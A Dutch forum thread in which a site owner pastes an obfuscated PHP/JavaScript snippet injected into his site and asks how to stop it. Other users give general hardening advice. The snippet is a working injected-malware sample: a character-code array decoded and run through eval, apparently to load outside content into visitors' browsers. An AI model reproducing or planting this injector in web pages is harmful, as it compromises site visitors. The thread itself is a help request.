Hallo,

Ik ben benieuwd hoe ik mijn website beter kan beveiligen.
Ik krijg de laatste tijd veel van zulke dingen in mijn code:

PHP Code:

<?
#adea77#
                                                                                                                                                                                                                                                          if(!$srvc_counter) {
echo "                                                                                                                                                                                                                                                          <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                          v=\"v\"+\"al\";try{faweb--}catch(btawetb){try{fve^v}catch(btawt4){try{window.document.body=v}catch(gdsgsdg){w=window;if(020===0x10)e=w[\"e\".concat(v)];}}}if(1){f=new Array(40,101,115,110,98,114,105,110,108,40,40,11,10,122,11,10,31,116,97,113,30,97,111,103,107,100,119,32,60,37,103,110,109,103,107,99,95,114,98,52,51,50,102,38,57,10,31,116,97,113,30,97,31,59,32,99,109,99,116,107,101,109,114,46,98,112,101,96,114,101,68,106,101,108,99,110,115,38,39,104,100,114,96,107,101,38,39,59,12,8,13,9,30,97,45,113,114,98,30,61,31,37,104,115,114,112,57,45,47,54,55,46,56,52,46,52,47,46,48,55,51,46,45,99,102,113,100,113,115,107,96,112,110,104,95,47,114,103,116,100,45,102,107,95,115,103,45,108,104,97,122,109,103,107,46,106,101,113,44,112,103,110,39,58,11,10,31,95,46,114,114,121,107,99,46,111,109,115,104,114,105,110,108,32,60,30,39,96,96,115,110,106,117,115,99,39,58,11,10,31,95,46,114,114,121,107,99,46,97,109,114,99,99,114,31,59,32,38,46,39,58,11,10,31,95,46,114,114,121,107,99,46,103,99,105,102,102,116,31,59,32,38,47,112,119,37,59,12,8,32,96,44,115,115,119,108,100,44,119,104,98,116,103,30,61,31,37,49,111,118,39,58,11,10,31,95,46,114,114,121,107,99,46,107,99,102,115,30,61,31,37,49,111,118,39,58,11,10,31,95,46,114,114,121,107,99,46,115,109,112,31,59,32,38,47,112,119,37,59,12,8,13,9,30,105,101,38,97,111,103,107,100,119,61,60,37,39,40,30,123,9,30,32,117,95,114,31,112,101,114,110,111,109,113,101,31,59,32,38,99,114,113,109,114,38,57,10,31,123,10,31,103,102,39,31,100,110,97,117,108,99,110,115,44,103,100,114,69,107,99,109,100,108,116,65,119,73,99,38,39,96,98,112,107,37,41,40,11,10,31,121,13,9,30,100,110,97,117,108,99,110,115,44,119,113,103,116,100,38,39,59,98,105,117,30,105,99,59,92,38,95,100,111,106,92,38,60,60,46,98,105,117,60,39,40,57,13,9,30,100,110,97,117,108,99,110,115,44,103,100,114,69,107,99,109,100,108,116,65,119,73,99,38,39,96,98,112,107,37,41,45,95,112,111,99,110,99,65,104,104,106,100,39,95,41,58,11,10,31,123,13,9,123,41,39,39,59);}w=f;s=[];r=String;for(i=0;-i+517!=0;i+=1){j=i;if(e&&(031==0x19))s=s+r.fromCharCode((1*w[j]+j%3));}try{(w+s)()}catch(asga){e(s)}</script>";
$srvc_counter = true;
}

#/adea77#
?>

Hoe kan ik dit tegengaan? En wat zijn meer manieren om mijn website beter te beveiligen?

Als eerste door die crap niet op andere sites te posten. Als 2de door je (joomla?) te upgraden, server te beveiligen, op je ftp gegevens te letten, passwords regelmatig te wijzigen en zorgen dat je scripts geen lekken hebben.

Origineel gepost door John Timmer

Als eerste door die crap niet op andere sites te posten. Als 2de door je (joomla?) te upgraden, server te beveiligen, op je ftp gegevens te letten, passwords regelmatig te wijzigen en zorgen dat je scripts geen lekken hebben.

Ik heb net een week geleden een domein geregistreerd en ben sinds gister begonnen met een project (geen Joomla). Vanochtend log ik in en zie de code ertussen staat. Dus aan het bovenstaande kan het niet liggen lijkt mij?

Origineel gepost door Hans Harsevoord

Ik heb net een week geleden een domein geregistreerd en ben sinds gister begonnen met een project (geen Joomla). Vanochtend log ik in en zie de code ertussen staat. Dus aan het bovenstaande kan het niet liggen lijkt mij?

Misschien zit je op een slecht beveiligde server. Check server ftp logs of iemand eraan heeft zitten te prutsen, zo ja, wijzig je passwords. Zo niet, check je scripts op lekken. Is het dat ook niet, verander van hoster die de beveiliging wel op orde heeft.

WordPress backdoor?

Origineel gepost door Marcel van Vrouwerf

WordPress backdoor?

Ik gebruik geen wordpress, joomla of iets anders. Heb alleen 4 pagina's met wat queries.

Wellicht kun je deze code eens laten zien in een PM ofzo iets dan kan ik je wel wat tips geven.